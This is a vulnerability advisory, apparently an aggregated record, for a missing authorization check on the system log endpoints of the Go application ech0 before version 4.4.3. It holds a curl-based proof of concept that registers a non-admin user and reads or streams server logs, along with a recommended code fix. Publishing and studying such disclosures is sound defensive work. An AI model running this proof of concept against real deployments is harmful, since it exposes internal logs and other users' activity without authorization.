Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
- Security bypass
- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-862.
Summary
## Summary The system log endpoints (`GET /api/system/logs`, `GET /api/system/logs/stream`, `WS /ws/system/logs`) lack authorization checks, allowing any authenticated non-admin user to read and stream all server logs. These logs contain error stack traces, internal file paths, module names, and arbitrary structured fields that facilitate reconnaissance for further attacks. ## Details The dashboard routes in `internal/router/dashboard.go:7-8` register log endpoints on the `AuthRouterGroup` without any `RequireScopes` middleware: ```go // internal/router/dashboard.go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs()) } ``` Compare with other admin-only routes that properly use `RequireScopes`: ```go // internal/router/setting.go — every route has RequireScopes appRouterGroup.AuthRouterGroup.GET("/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.SettingHandler.GetSiteSettings()) ``` The `AuthRouterGroup` only applies `JWTAuthMiddleware()` (router.go:36), which validates the JWT and sets the viewer context but does **not** check admin status. The `WSRouterGroup` (router.go:37) has no middleware at all — the WebSocket handler only calls `ParseToken` to verify the JWT signature (dashboard.go:74) without any role/scope validation. The handler (`internal/handler/dashboard/dashboard.go:29-62`) and service (`internal/service/dashboard/dashboard.go:21-27`) contain zero authorization checks. Other services in the codebase properly enforce admin access: - `internal/service/inbox/inbox.go:132` — `ensureAdmin()` - `internal/service/migrator/migrator.go:360` — `ensureAdmin()` - `internal/service/comment/comment.go:719` — `requireAdmin()` Non-admin users are created with `IsAdmin: false` and `IsOwner: false` (`internal/service/user/user.go:220-221`) via the public registration endpoint. The `LogEntry` struct (`internal/util/log/log.go:78-87`) exposes: ```go type LogEntry struct { Time string `json:"time"` Level string `json:"level"` Msg string `json:"msg"` Module string `json:"module,omitempty"` Caller string `json:"caller,omitempty"` // internal file paths Error string `json:"error,omitempty"` // error stack traces Fields map[string]any `json:"fields,omitempty"` // arbitrary structured data Raw string `json:"raw,omitempty"` // raw log lines } ``` ## PoC ```bash # 1. Register a non-admin user (system allows up to 5 users by default) curl -X POST http://localhost:8080/api/register \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Password123"}' # 2. Login to get session token TOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"Password123"}' | jq -r '.data.token') # 3. Read system logs — should require admin but doesn't curl http://localhost:8080/api/system/logs \ -H "Authorization: Bearer $TOKEN" # Returns: {"code":1,"data":[{"time":"...","level":"error","msg":"...","module":"...","caller":"internal/service/user/user.go:145","error":"...","fields":{...}},...]} # 4. Subscribe to real-time log stream via SSE curl -N "http://localhost:8080/api/system/logs/stream?token=$TOKEN" # 5. Subscribe via WebSocket (WSRouterGroup has NO middleware) # wscat -c "ws://localhost:8080/ws/system/logs?token=$TOKEN" ``` ## Impact Any registered non-admin user can: - **Read all historical system logs** including error traces that reveal internal code paths, database errors, and application state - **Stream real-time logs** via SSE or WebSocket to monitor all server activity as it happens - **Gather reconnaissance data** — caller fields expose internal file paths and line numbers, error fields expose stack traces and database query failures, module fields map the internal architecture - **Monitor other users' actions** — authentication failures, registration events, and admin operations appear in logs This information disclosure lowers the bar for chaining further attacks by revealing the application's internal structure, error handling patterns, and operational state. ## Recommended Fix Add `RequireScopes` middleware with an admin scope to the dashboard routes: ```go // internal/router/dashboard.go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET("/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.WSSubscribeSystemLogs()) } ``` Additionally, the WebSocket handler should validate admin scope after parsing the token, since the `WSRouterGroup` lacks middleware: ```go // internal/handler/dashboard/dashboard.go — WSSubscribeSystemLogs claims, err := jwtUtil.ParseToken(token) if err != nil { ctx.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"msg": "invalid token"}) return } // Add admin check for WebSocket endpoint if claims.TokenType == authModel.TokenTypeAccess && !containsScope(claims.Scopes, authModel.ScopeAdminSettings) { ctx.AbortWithStatusJSON(http.StatusForbidden, gin.H{"msg": "admin access required"}) return } ```
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | github.com/lin-snow/ech0 (Go) | before 4.4.3 | 4.4.3 | Patch available | GHSA-w8jj-cwmc-wgq2 |
- github.com/lin-snow/ech0 (Go) Vendor— Affected before 4.4.3 Fixed in 4.4.3 Patch available GHSA-w8jj-cwmc-wgq2
Remediation
- Fix · GHSA-w8jj-cwmc-wgq2 github.com/lin-snow/ech0 (Go) Fixed in 4.4.3 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-w8jj-cwmc-wgq2
References
Sources
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